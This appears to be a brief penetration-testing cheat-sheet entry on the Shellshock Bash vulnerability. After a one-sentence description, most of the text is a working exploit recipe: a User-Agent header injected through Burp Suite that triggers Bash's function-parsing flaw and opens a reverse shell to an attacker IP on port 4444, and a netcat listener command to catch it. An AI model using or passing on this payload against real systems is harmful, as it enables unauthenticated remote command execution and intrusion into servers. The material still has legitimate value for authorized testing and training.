Shellshock
Shellshock is a group of security vulnerabilities found in the Bourne-Again shell (Bash), which allowed attackers to execute aribitrary commands on a server without authentication against the machine or web application.
Hunting
Burp Suite -> Proxy -> Intercept ON
Change User-Agent header to:
User-Agent: () { :;};echo -e "\r\n$(/bin/bash -i >& /dev/tcp/10.0.0.10/4444 0>&1)"
Then at your terminal prompt:
nc -lvp 4444
$ Listening on [any] 4444...
Then let the request pass through and your terminal will be presented with a bash shell access.